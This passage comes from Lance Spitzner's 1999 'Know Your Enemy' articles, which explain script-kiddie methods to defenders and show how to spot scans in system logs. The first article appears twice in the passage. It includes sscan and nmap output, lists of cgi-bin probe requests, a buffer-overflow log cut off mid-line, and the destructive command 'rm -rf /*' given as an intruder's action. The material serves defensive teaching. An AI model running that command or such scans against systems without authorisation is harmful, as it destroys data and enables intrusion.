  2076.       scanned recently does not mean you are secure. 
  2077.       
  2078.       The more sophisticated blackhats implement trojans and backdoors once they compromise a system. Backdoors allow easy
  2079.       and unnoticed access to the system whenever the user wants. The trojans make the intruder undetectable. He would not show
  2080.       up in any of the logs, systems processes, or file structure. He builds a comfortable and safe home where he can blatantly scan
  2081.       the Internet.  For more information on this, check out Know Your Enemy: III. 
  2082.       
  2083.       These attacks are not limited to a certain time of the day. Many admins search their log entries for probes that happen late at
  2084.       night, believing this is when blackhats attack. Script kiddies attack at any time. As they are scanning 24hrs a day, you have no
  2085.       idea when the probe will happen. Also, these attacks are launched throughout the world. Just as the Internet knows no
  2086.       geographical bounds, it knows no time zones. It may be midnight where the blackhat is, but it is 1pm for you. 
  2087.       
  2088.       The Tools 
  2089.       
  2090.       The tools used are extremely simple in use. Most are limited to a single purpose with few options. First come the tools used to
  2091.       build an IP database. These tools are truly random, as they indiscriminently scan the Internet. For example, one tool has a single
  2092.       option, A, B, or C. The letter you select determines the size of the network to be scanned. The tool then randomly selects
  2093.       which IP network to scan. Another tool uses a domain name (z0ne is an excellent example of this). The tools builds an IP
  2094.       database by conducting zone transfers of the domain name and all sub-domains. User's have built databases with over 2 million
  2095.       IPs by scanning the entire .com or .edu domain. 
  2096.       
  2097.       Once discovered, the IPs are then scanned by tools to determine vulnerabilities, such as the version of named, operating
  2098.       system, or services running on the system Once the vulnerable systems have been identified, the blackhat strikes. Several tools
  2099.       exist that combine all these features together, simplifying the process even greater, such as sscan by jsbach.  For a better
  2100.       understanding of how these tools are used, check out Know Your Enemy: II. 
  2101.       
  2102.       How to Protect Against This Threat 
  2103.       
  2104.       There are steps you can take to protect yourself against this threat. First, the script kiddie is going for the easy kill, they are
  2105.       looking for common exploits. Make sure your systems and networks are not vulnerable to these exploits. Both
  2106.       http://www.cert.org and http://www.ciac.org are excellent sources on what a common exploit is. Also, the listserv bugtraq is
  2107.       one of the best sources of information. 
  2108.       
  2109.       Another way to protect yourself is run only the services you need. If you do not need a service, turn it off. If you do need a
  2110.       service, make sure it is the latest version.  For examples on how to do this, check out  Armoring Solaris ,  Armoring Linux  or 
  2111.       Armoring NT. 
  2112.       
  2113.       As you learned from the tools section, DNS servers are often used to develop a database of systems that can be probed. Limit
  2114.       the systems that can conduct zone transfers from your Name Servers. Log any unauthorized zone transfers and follow up on
  2115.       them. I highly recommend upgrading to the latest version of BIND (software used for Domain Name Service), which you can
  2116.       find at http://www.isc.org/bind.html. 
  2117.       
  2118.       Last, watch for your systems being probed. Once identified, you can track these probes and gain a better understanding of the
  2119.       threats to your network and react to these threats. 
  2120.       
  2121.       Conclusion 
  2122.       
  2123.       The script kiddie poses a threat to all systems. They show no bias and scan all systems, regardless of location and value.
  2124.       Sooner or later, your system will be probed. By understanding their motives and methods, you can better protect your systems
  2125.       against this threat. 
  2126.       
  2127.       NOTE:  Thanks to Brad Powell at Sun's Security Team for his help on this article 
  2128.       
  2129.       Author's bio 
  2130.       Lance Spitzner enjoys learning by blowing up his Unix systems at home. Before this, he was an Officer in the Rapid
  2131.       Deployment Force, where he blew up things of a different nature. You can reach him at lance@spitzner.net . 
  2132.         
  2133.         
  2134.                                       Whitepapers / Publications
  2135.       
  2136.       The Attack of the Script Kiddie 
  2137.       Know Your Enemy 
  2138.       
  2139.       Lance Spitzner 
  2140.       Last Modified: May 23, 1999 
  2141.       
  2142.       My commander used to tell me that to secure yourself against the enemy, you have to first know who your enemy
  2143.       is. This military doctrine readily applies to the world of network security. Just like the military, you have resources
  2144.       that you are trying to protect. To help protect these resources, you need to know who your threat is and how they
  2145.       are going to attack. This article does just that, it discusses the methodology and tools used by one of the most
  2146.       common and universal threats, the Script Kiddie. 
  2147.       
  2148.       Who is the Script Kiddie 
  2149.       
  2150.       The script kiddie is someone looking for the easy kill. They are not out for specific information or targeting a specific company.
  2151.       Their goal is to gain root the easiest way possible. They do this by focusing on a small number of exploits, and then searching
  2152.       the entire Internet for that exploit. Sooner or later they find someone vulnerable. 
  2153.       
  2154.       Some of them are advance users who develop their own tools and leave behind sophisticated backdoors. Others have no idea
  2155.       what they are doing and only know how to type "go" at the command prompt. Regardless of the their skill level, they all share a
  2156.       common strategy, randomly search for a specific weakness, then exploit that weakness. 
  2157.       
  2158.       The Threat 
  2159.       
  2160.       It is this random selection of targets that make the script kiddie such a dangerous threat. Sooner or later your systems and
  2161.       networks will be probed, you cannot hide from them. I know of admins who were amazed to have their systems scanned when
  2162.       they had been up for only two days, and no one knew about them. There is nothing amazing here. Most likely, their systems
  2163.       were scanned by a script kiddie who happened to be sweeping that network block. 
  2164.       
  2165.       If this was limited to several individual scans, statistics would be in your favor. With millions of systems on the Internet, odds
  2166.       are that no one would find you. However, this is not the case. Most of these tools are easy to use and widely distributed,
  2167.       anyone can use them. A rapidly growing number of people are obtaining these tools at an alarming rate. As the Internet knows
  2168.       no geographic bounds, this threat has quickly spread throughout the world. Suddenly, the law of numbers is turning against us.
  2169.       With so many users on the Internet using these tools, it is no longer a question of if, but when you will be probed. 
  2170.       
  2171.       This is an excellent example of why security through obscurity can fail you. You may believe that if no one knows about your
  2172.       systems, you are secure. Others believe that their systems are of no value, so why would anyone probe them? It is these very
  2173.       systems that the script kiddies are searching for, the unprotected system that is easy to exploit, the easy kill. 
  2174.       
  2175.       The Methodology 
  2176.       
  2177.       The script kiddie methodology is a simple one. Scan the Internet for a specific weakness, when you find it, exploit it. Most of
  2178.       the tools they use are automated, requiring little interaction. You launch the tool, then come back several days later to get your
  2179.       results.  No two tools are alike, just as no two exploits are alike. However, most of the tools use the same strategy. First,
  2180.       develop a database of IPs that can be scanned. Then, scan those IPs for a specific vulnerability. 
  2181.       
  2182.       For example, lets say a user had a tool that could exploit imap on Linux systems, such as imapd_exploit.c. First, they would
  2183.       develop a database of IP addresses that they could scan (i.e., systems that are up and reachable). Once this database of IP
  2184.       addresses is built, the user would want to determine which systems were running Linux. Many scanners today can easily
  2185.       determine this by sending bad packets to a system and seeing how they respond, such as Fyodor's nmap. Then, tools would be
  2186.       used to determine what Linux systems were running imap. All that is left now is to exploit those vulnerable systems. 
  2187.       
  2188.       You would think that all this scanning would be extremely noisy, attracting a great deal of attention. However, many people are
  2189.       not monitoring there systems, and do not realize they are being scanned. Also, many script kiddies quietly look for a single
  2190.       system they can exploit. Once they have exploited a system, they now use this systems as a launching pad. They can boldly
  2191.       scan the entire Internet without fear of retribution. If their scans are detected, the system admin and not the blackhat will be held
  2192.       liable. 
  2193.       
  2194.       Also, these scan results are often archived or shared among other users, then used at a later date.  For example, a user
  2195.       develops a database of what ports are open on reachable Linux systems.  The user built this database to exploit the current
  2196.       imap vulnerability.  However, lets say that a month from now a new Linux exploit is identified on a different port.  Instead of
  2197.       having to build a new database (which is the most time consuming part), the user can quickly review his archived database and
  2198.       compromise the vulnerable systems.  As an alternative, script kiddies share or even buy databases of vulnerable systems from
  2199.       each other.  The script kiddie can then exploit your system without even scanning it.  Just because your systems have not been
  2200.       scanned recently does not mean you are secure. 
  2201.       
  2202.       The more sophisticated blackhats implement trojans and backdoors once they compromise a system. Backdoors allow easy
  2203.       and unnoticed access to the system whenever the user wants. The trojans make the intruder undetectable. He would not show
  2204.       up in any of the logs, systems processes, or file structure. He builds a comfortable and safe home where he can blatantly scan
  2205.       the Internet.  For more information on this, check out Know Your Enemy: III. 
  2206.       
  2207.       These attacks are not limited to a certain time of the day. Many admins search their log entries for probes that happen late at
  2208.       night, believing this is when blackhats attack. Script kiddies attack at any time. As they are scanning 24hrs a day, you have no
  2209.       idea when the probe will happen. Also, these attacks are launched throughout the world. Just as the Internet knows no
  2210.       geographical bounds, it knows no time zones. It may be midnight where the blackhat is, but it is 1pm for you. 
  2211.       
  2212.       The Tools 
  2213.       
  2214.       The tools used are extremely simple in use. Most are limited to a single purpose with few options. First come the tools used to
  2215.       build an IP database. These tools are truly random, as they indiscriminently scan the Internet. For example, one tool has a single
  2216.       option, A, B, or C. The letter you select determines the size of the network to be scanned. The tool then randomly selects
  2217.       which IP network to scan. Another tool uses a domain name (z0ne is an excellent example of this). The tools builds an IP
  2218.       database by conducting zone transfers of the domain name and all sub-domains. User's have built databases with over 2 million
  2219.       IPs by scanning the entire .com or .edu domain. 
  2220.       
  2221.       Once discovered, the IPs are then scanned by tools to determine vulnerabilities, such as the version of named, operating
  2222.       system, or services running on the system Once the vulnerable systems have been identified, the blackhat strikes. Several tools
  2223.       exist that combine all these features together, simplifying the process even greater, such as sscan by jsbach.  For a better
  2224.       understanding of how these tools are used, check out Know Your Enemy: II. 
  2225.       
  2226.       How to Protect Against This Threat 
  2227.       
  2228.       There are steps you can take to protect yourself against this threat. First, the script kiddie is going for the easy kill, they are
  2229.       looking for common exploits. Make sure your systems and networks are not vulnerable to these exploits. Both
  2230.       http://www.cert.org and http://www.ciac.org are excellent sources on what a common exploit is. Also, the listserv bugtraq is
  2231.       one of the best sources of information. 
  2232.       
  2233.       Another way to protect yourself is run only the services you need. If you do not need a service, turn it off. If you do need a
  2234.       service, make sure it is the latest version.  For examples on how to do this, check out  Armoring Solaris ,  Armoring Linux  or 
  2235.       Armoring NT. 
  2236.       
  2237.       As you learned from the tools section, DNS servers are often used to develop a database of systems that can be probed. Limit
  2238.       the systems that can conduct zone transfers from your Name Servers. Log any unauthorized zone transfers and follow up on
  2239.       them. I highly recommend upgrading to the latest version of BIND (software used for Domain Name Service), which you can
  2240.       find at http://www.isc.org/bind.html. 
  2241.       
  2242.       Last, watch for your systems being probed. Once identified, you can track these probes and gain a better understanding of the
  2243.       threats to your network and react to these threats. 
  2244.       
  2245.       Conclusion 
  2246.       
  2247.       The script kiddie poses a threat to all systems. They show no bias and scan all systems, regardless of location and value.
  2248.       Sooner or later, your system will be probed. By understanding their motives and methods, you can better protect your systems
  2249.       against this threat. 
  2250.       
  2251.       NOTE:  Thanks to Brad Powell at Sun's Security Team for his help on this article 
  2252.       
  2253.       Author's bio 
  2254.       Lance Spitzner enjoys learning by blowing up his Unix systems at home. Before this, he was an Officer in the Rapid
  2255.       Deployment Force, where he blew up things of a different nature. You can reach him at lance@spitzner.net . 
  2256.         
  2257.       Part 2
  2258.       
  2259.       Tracking their moves 
  2260.       Know Your Enemy: II 
  2261.       
  2262.       Lance Spitzner 
  2263.       Last Modified: May 23, 1999 
  2264.       
  2265.       In the first article, Know Your Enemy, we covered the tools and methodologies of the Script Kiddie.   Specifically,
  2266.       how they probe for vulnerabilities and then attack.  Now we will cover how to track their movements.   Just as in
  2267.       the military, you want to track the bad guys and know what they are doing.  We will cover what you can, and cannot
  2268.       determine, with your system logs.  You may be able to determine if you are being probed,  what you were being
  2269.       probed for,  what tools were used, and if they successful.  The examples provided here focus on Linux, but can
  2270.       apply to almost any flavor of Unix.  Keep in mind, there is no guaranteed way to track the enemy's every step. 
  2271.       However, this article is a good place to start. 
  2272.       
  2273.       Securing Your Logs 
  2274.       This article is not on Intrusion Detection, there are a variety of excellent sources that cover IDS.  If you are interested in
  2275.       intrusion detection, I recommend checking out applicatons such as Network Flight Recorder  or swatch.  This article focuses
  2276.       on intelligence gathering.  Specifically, how to figure out what the enemy is doing by reviewing your system logs.  You will be
  2277.       surprised how much information you will find in your own log files.  However, before we can talk about reviewing your logs, we
  2278.       first have to discuss securing your system logs.  Your log files are worthless if you cannot trust the integrity of them.  The first
  2279.       thing most blackhats do is alter log files on a compromised system.  There are a variety of rootkits that will wipe out their
  2280.       presence from log files (such as cloak), or alter logging all together (such as trojaned syslogd binaries).  So, the first step to
  2281.       reviewing your logs is securing your logs. 
  2282.       
  2283.       This means you will need to use a remote log server.  Regardless of how secure your system is, you cannot trust your logs on a
  2284.       compromised system.  If nothing else, the blackhat can simply do a rm -rf /* on your system, wiping you hard drive clean. 
  2285.       This makes recovering your logs somewhat difficult.  To protect against this, you will want all your systems to log traffic both
  2286.       locally and to a remote log server.  I recommend making your log server a dedicated system, ie. the only thing it should be
  2287.       doing is collecting logs from other systems..  If money is an issue, you can easily build a linux box to act as your log server. 
  2288.       This server should be highly secured, with all services shut off, allowing only console access (see Armoring Linux for an
  2289.       example).   Also, ensure that port 514 UDP is blocked or firewalled at your Internet connection.  This protects your log server
  2290.       from receiving bad or un-authorized logging information from the Internet. 
  2291.       
  2292.       For those of you who like to get sneaky, something I like to do is recompile syslogd to read a different configuration file, such
  2293.       as /var/tmp/.conf.  This way the blackhat does not realize where the real configuration file is. This is simply done by changing
  2294.       the entry "/etc/syslog.conf" in the source code to whatever file you want.  We then setup our new configuration file to log both
  2295.       locally and to the remote log server (see example).  Make sure you maintain a standard copy of the configuration file,
  2296.       /etc/syslog.conf, which points to all local logging.  Even though this configuration file is now useless, this will throw off the
  2297.       blackhat from realizing the true destination of our remote logging.  Another option for your systems is to use a secure method of
  2298.       logging.  One option is to replace your syslogd binary with something that has integrity checking and a greater breadth of
  2299.       options.  One option is syslog-ng, which you can find at  http://www.balabit.hu/products/syslog-ng.html 
  2300.         
  2301.       
  2302.       Most of the logs we will use are the ones stored on the remote log server.  As mentioned earlier, we can be fairly confident of
  2303.       the integrity of these logs since they are on a remote and secured system.  Also, since all systems are logging to a single source,
  2304.       it is much easier to identify patterns in these logs.  We can quickly review what's happening to all the systems in one source. 
  2305.       The only time you would want to review logs stored locally on a system is to compare them to what the log server has.   You
  2306.       can determine if the local logs have been altered by comparing them to the remote logs. 
  2307.       
  2308.       Pattern Matching 
  2309.       By looking at your log entries, you can usually determine if you are being port scanned.  Most Script Kiddies scan a network
  2310.       for a single vulnerability.  If your logs show most of your systems being connected from the same remote system, on the same
  2311.       port, this is most likely an exploit scan.  Basically, the enemy has an exploit for a single vulnerability, and they are scanning your
  2312.       network for it.  When they find it, they exploit it.  For most Linux systems, TCP Wrappers is installed be default.  So, we
  2313.       would find most of these connections in /var/log/secure.  For other flavors of Unix, we can log all inetd connections by
  2314.       launching inetd with the "-t" flag., facility daemon. A typical exploit scan would look like something below.  Here we have a
  2315.       source scanning for the wu-ftpd vulnerability. 
  2316.       
  2317.       /var/log/secure 
  2318.       Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200 
  2319.       Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200 
  2320.       Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200 
  2321.       Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200 
  2322.       Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200 
  2323.       
  2324.       Here we see the source 192.168.11.200 scanning our network.  Notice how the source sequentially scans each IP (this is
  2325.       not always the case).  This is the advantage of having a log server, you can more easily identify patterns in your network since
  2326.       all the logs are combined.  The repeated connections to port 21, ftp, indicated they were most likely looking for the wu-ftpd
  2327.       exploit.  We have just determined what the blackhat is looking for.  Often, scans tend to come in phases.  Someone will release
  2328.       code for an imap exploit, you will suddenly see a rush of imaps scans in your logs.  The next month  you will be hit by ftp.  An
  2329.       excellent source for current exploits is http://www.cert.org/advisories/  Sometimes,  tools will scan for a variety of exploits at
  2330.       the same time, so you may see a single source connecting to several ports. 
  2331.       
  2332.       Keep in mind, if you are not logging the service, you will not know if you are scanned for it.  For example, most rpc
  2333.       connections are not logged.  However, many services can simply be added to /etc/inetd.conf for logging with TCP Wrappers. 
  2334.       For example, you can add an entry in /etc/inetd.conf for NetBus. You can define TCP Wrappers to safely deny and log the
  2335.       connections (see Intrusion Detection for more info on this). 
  2336.       
  2337.       What's the Tool? 
  2338.       Sometimes you can actually determine the tools being used to scan your network.  Some of the more basic tools scan for a
  2339.       specific exploit, such as ftp-scan.c. If only a single port or vulnerability is being probed on your network, they are most likely
  2340.       using one of these "single mission" tools.  However, there exist  tools that probe for a variety of vulnerabilities or weaknesses,
  2341.       the two most popular are sscan by jsbach and nmap by Fyodor.  I've selected these two tools because they represent the two
  2342.       "categories" of scanning tools.  I highly recommend you run these tools against your own network, you may be surprised by  the
  2343.       results :) 
  2344.       
  2345.            sscan represents the "all purpose" Script Kiddie scanning tool, and its probably one of the best ones out there.  It quickly
  2346.            probes a network for a variety of vulnerabilities (including cgi-bin).  It is easily customizable, allowing you to add probes
  2347.            for new exploits.  You just give the tool a network and network mask, and it does the rest for you.  However, the user
  2348.            must be root to use it.  The output is extremely easy to interpret (hence making it so popular):  It gives a concise
  2349.            summary of many vulnerable services.  All you have to do is run sscan against a network, grep for the word "VULN" in
  2350.            the output, and then run the "exploit du jour".  Below is an example of sscan ran against the system mozart
  2351.            (172.17.6.30). 
  2352.       
  2353.                 otto #./sscan -o 172.17.6.30 
  2354.       
  2355.                 --------------------------<[ * report for host mozart * 
  2356.                 <[ tcp port: 80 (http) ]>       <[ tcp port: 23 (telnet) ]> 
  2357.                 <[ tcp port: 143 (imap) ]>      <[ tcp port: 110 (pop-3) ]> 
  2358.                 <[ tcp port: 111 (sunrpc) ]>    <[ tcp port: 79 (finger) ]> 
  2359.                 <[ tcp port: 53 (domain) ]>     <[ tcp port: 25 (smtp) ]> 
  2360.                 <[ tcp port: 21 (ftp) ]> 
  2361.                 --<[ *OS*: mozart: os detected: redhat linux 5.1 
  2362.                 mozart: VULN: linux box vulnerable to named overflow. 
  2363.                 -<[ *CGI*: 172.17.6.30: tried to redirect a /cgi-bin/phf request. 
  2364.                 -<[ *FINGER*: mozart: root: account exists. 
  2365.                 --<[ *VULN*: mozart: sendmail will 'expn' accounts for us 
  2366.                 --<[ *VULN*: mozart: linux bind/iquery remote buffer overflow 
  2367.                 --<[ *VULN*: mozart: linux mountd remote buffer overflow 
  2368.                 ---------------------------<[ * scan of mozart completed *
  2369.       
  2370.            Nmap represents the "raw data" tool set.  It doesn't tell you what vulnerabilities exist,  rather, it tells you what ports are
  2371.            open, you determine the security impact.  Nmap has quickly become the port scanner of choice, and with good reason. 
  2372.            It takes the best of a variety of port scanners and puts all their functionality into a single tool, including OS detection,
  2373.            various packet assembly options, both UDP and TCP scanning, randomization, etc.  However, you need  networking
  2374.            skills to use the tool and interpret the data.  Below is an example of nmap ran against the same system. 
  2375.       
  2376.                 otto #nmap -sS -O 172.17.6.30 
  2377.       
  2378.                 Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) 
  2379.                 Interesting ports on mozart (172.17.6.30): 
  2380.                 Port    State       Protocol  Service 
  2381.                 21      open        tcp        ftp 
  2382.                 23      open        tcp        telnet 
  2383.                 25      open        tcp        smtp 
  2384.                 37      open        tcp        time 
  2385.                 53      open        tcp        domain 
  2386.                 70      open        tcp        gopher 
  2387.                 79      open        tcp        finger 
  2388.                 80      open        tcp        http 
  2389.                 109     open        tcp        pop-2 
  2390.                 110     open        tcp        pop-3 
  2391.                 111     open        tcp        sunrpc 
  2392.                 143     open        tcp        imap2 
  2393.                 513     open        tcp        login 
  2394.                 514     open        tcp        shell 
  2395.                 635     open        tcp        unknown 
  2396.                 2049    open        tcp        nfs 
  2397.       
  2398.                 TCP Sequence Prediction: Class=truly random 
  2399.                                          Difficulty=9999999 (Good luck!) 
  2400.                 Remote operating system guess: Linux 2.0.35-36 
  2401.       
  2402.                 Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
  2403.       
  2404.       By reviewing your logs, you can determine which of these tools were used against you.  To do this, you have to understand
  2405.       how the tools work.  First, an sscan will log in  as follows (this is a default scan with no modifications to any config files): 
  2406.       
  2407.       /var/log/secure 
  2408.       Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200 
  2409.       Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200 
  2410.       Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200 
  2411.       Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200 
  2412.       Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200 
  2413.       Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200 
  2414.       Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200 
  2415.       Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200 
  2416.       Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200 
  2417.       Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200 
  2418.       
  2419.       /var/log/maillog 
  2420.       Apr 14 21:01:58 mozart imapd[11667]: command stream end of file, while reading line user=???
  2421.       host=[192.168.11.200] 
  2422.       Apr 14 21:01:58 mozart ipop3d[11668]: No such file or directory while reading line user=???
  2423.       host=[192.168.11.200] 
  2424.       Apr 14 21:02:05 mozart sendmail[11675]: NOQUEUE: [192.168.11.200]: expn root 
  2425.       
  2426.       /var/log/messages 
  2427.       Apr 14 21:03:09 mozart telnetd[11682]: ttloop:  peer died: Invalid or incomplete multibyte or
  2428.       wide character 
  2429.       Apr 14 21:03:12 mozart ftpd[11688]: FTP session closed 
  2430.       
  2431.       sscan also scans for cgi-bin vulnerabilities.  These probes will not be logged by syslogd, you will find them in access_log.  I
  2432.       decided to included them anyway for your edification :) 
  2433.       
  2434.       /var/log/httpd/access_log 
  2435.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf HTTP/1.0" 302 192 
  2436.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi HTTP/1.0" 404 170 
  2437.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/test-cgi HTTP/1.0" 404 169 
  2438.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/php.cgi HTTP/1.0" 404 168 
  2439.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/handler HTTP/1.0" 404 168 
  2440.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webgais HTTP/1.0" 404 168 
  2441.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/websendmail HTTP/1.0" 404 172 
  2442.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webdist.cgi HTTP/1.0" 404 172 
  2443.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/faxsurvey HTTP/1.0" 404 170 
  2444.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/htmlscript HTTP/1.0" 404 171 
  2445.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 174 
  2446.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/perl.exe HTTP/1.0" 404 169 
  2447.       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/wwwboard.pl HTTP/1.0" 404 172 
  2448.       192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-bin/ews/ews/architext_query.pl
  2449.       HTTP/1.0" 404 187 
  2450.       192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-bin/jj HTTP/1.0" 404 163 
  2451.       
  2452.       Notice how a complete connection was made for all the ports(SYN, SYN-ACK, ACK)  then torn down.  That is because
  2453.       sscan is determining at the application layer what is going on.  Not only does sscan want to know if your ftp port is open, but
  2454.       what ftp daemon is running.  The same can be said for imap, pop, etc.  This can be seen in sniff traces using sniffit, a tool
  2455.       commonly used to sniff passwords. 
  2456.       
  2457.       mozart $ cat 172.17.6.30.21-192.168.11.200.7238 
  2458.       220 mozart.example.net FTP server (Version wu-2.4.2-academ[BETA-17](1) Tue Jun 9 10:43:14 EDT
  2459.       1998) ready. 
  2460.       
  2461.       As you see above, a complete connection was made to determine the version of wu-ftpd that was running.  When you see the
  2462.       complete connections in your logs, as shown above, you are most likely  being scanned by an exploit tool.  These tools are
  2463.       making a complete connection to determine what you are running. 
  2464.       
  2465.       Nmap, like most port scanners, does not care what you are running, but if you are running specific services.  For this, nmap
  2466.       has a powerful set of options, letting you determine what kind of connection to make, including SYN, FIN, Xmas, Null, etc. 
  2467.       For a detailed description of these options, check out http://www.insecure.org/nmap/nmap_doc.html.   Because of these
  2468.       options, your logs will be different based on the options selected by the remote user.   A connection made with the -sT flag is a
  2469.       complete connection, so the logs will like similar to sscan, however by default nmap scans more ports. 
  2470.       
  2471.       /var/log/secure 
  2472.       Apr 14 21:20:50 mozart in.rlogind[11706]: connect from 192.168.11.200 
  2473.       Apr 14 21:20:51 mozart in.fingerd[11708]: connect from 192.168.11.200 
  2474.       Apr 14 21:20:51 mozart ipop2d[11709]: connect from 192.168.11.200 
  2475.       Apr 14 21:20:51 mozart in.rshd[11710]: connect from 192.168.11.200 
  2476.       Apr 14 21:20:51 mozart gn[11711]: connect from 192.168.11.200 
  2477.       Apr 14 21:20:51 mozart gn[11711]: error: cannot execute /usr/sbin/gn: No such file or directory 
  2478.       Apr 14 21:20:52 mozart in.timed[11712]: connect from 192.168.11.200 
  2479.       Apr 14 21:20:52 mozart imapd[11713]: connect from 192.168.11.200 
  2480.       Apr 14 21:20:52 mozart ipop3d[11714]: connect from 192.168.11.200 
  2481.       Apr 14 21:20:52 mozart in.telnetd[11715]: connect from 192.168.11.200 
  2482.       Apr 14 21:20:52 mozart in.ftpd[11716]: connect from 192.168.11.200 
  2483.       
  2484.       One thing to keep in mind is the -D (or decoy) option.  This nmap option allows the user to spoof the source address.  You
  2485.       may see scans from 15 different sources at the same time, but only one of them is the real one.  It is extremely difficult to
  2486.       determine which of the 15 was the actual source.  More often, users will select the -sS flag for port scanning.  This is a
  2487.       stealthier option, as only a SYN packet is sent.   If the remote system responds, the connection is immediately torn down with a
  2488.       RST.  The logs from such a scan looks as follows (NOTE: Only the first five entries are included here).. 
  2489.       
  2490.       /var/log/secure 
  2491.       Apr 14 21:25:08 mozart in.rshd[11717]: warning: can't get client address: Connection reset by
  2492.       peer 
  2493.       Apr 14 21:25:08 mozart in.rshd[11717]: connect from unknown 
  2494.       Apr 14 21:25:09 mozart in.timed[11718]: warning: can't get client address: Connection reset by
  2495.       peer 
  2496.       Apr 14 21:25:09 mozart in.timed[11718]: connect from unknown 
  2497.       Apr 14 21:25:09 mozart imapd[11719]: warning: can't get client address: Connection reset by
  2498.       peer 
  2499.       Apr 14 21:25:09 mozart imapd[11719]: connect from unknown 
  2500.       Apr 14 21:25:09 mozart ipop3d[11720]: warning: can't get client address: Connection reset by
  2501.       peer 
  2502.       Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown 
  2503.       Apr 14 21:25:09 mozart in.rlogind[11722]: warning: can't get client address: Connection reset
  2504.       by peer 
  2505.       Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown 
  2506.         
  2507.       
  2508.       Notice all the errors in the connections.  Since the SYN-ACK sequence is torn down before a complete connection can be
  2509.       made, the daemon cannot determine the source system.  The logs show that you have been scanned, unfortunately you do not
  2510.       know by whom.  What is even more alarming is, on most other systems (including newer kernels of Linux), none of these errors
  2511.       would have been logged.  To qoute Fyodor " ... based on all the 'connection reset by peer' messages.  This is a Linux 2.0.XX
  2512.       oddity -- virtually every other system (including the 2.2 and later 2.1 kernels) will show nothing.  That bug (accept() returning
  2513.       before completion of the 3-way handshake) was fixed. 
  2514.       
  2515.       Nmap includes other stealth option, such as -sF, -sX, -sN where various flags are used,  This is what the logs look like for
  2516.       these scans 
  2517.       
  2518.       /var/log/secure 
  2519.         
  2520.       
  2521.       Notice something here, no logs!  Scary huh, you just got scanned and didn't even know it.  All three types of scans determined
  2522.       the same results, however you are able to fully log only the first type, -sT (full connection).  To detect these stealsth scans, you
  2523.       will need to use a different logging application such as tcplogd, scanlogd, or ippl   Some commercial Firewalls will also detect
  2524.       and log all of these scans (I have confirmed this on Checkpoint Firewall 1). 
  2525.         
  2526.       
  2527.       Did They Gain Access? 
  2528.       Once you have determined that you were scanned, and what you were looking for, the next big question is "Did they get in?".  
  2529.       Most of today's remote exploits are based on buffer overflows (otherwise known as smashing the stack).  Simply stated, a
  2530.       buffer overflow is when a program (usually a daemon) receives more input then it expected, thus overwriting critical  areas in
  2531.       memory.  Certain code is then executed, usually giving the user root access.  For more info on buffer overflows, check
  2532.       Aleph1's excellent paper at ftp://ftp.technotronic.com/rfc/phrack49-14.txt. 
  2533.       
  2534.       You can normally identify buffer overflow attacks in the /var/log/messages log file (or /var/adm/messages for other flavors of
  2535.       Unix) for attacks such as mountd.  You will also see similar logs in maillog for such attacks against imapd.  A buffer overflow
  2536.       attack would look like this. 
  2537.       
  2538.       Apr 14 04:20:51 mozart mountd[6688]: Unauthorized access by NFS client 192.168.11.200. 
  2539.       Apr 14 04:20:51 mozart syslogd: Cannot glue message parts together 
  2540.       Apr 14 04:20:51 mozart mountd[6688]: Blocked attempt of 192.168.11.200 to mount 
  2541.       ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2542.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2543.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2544.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2545.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
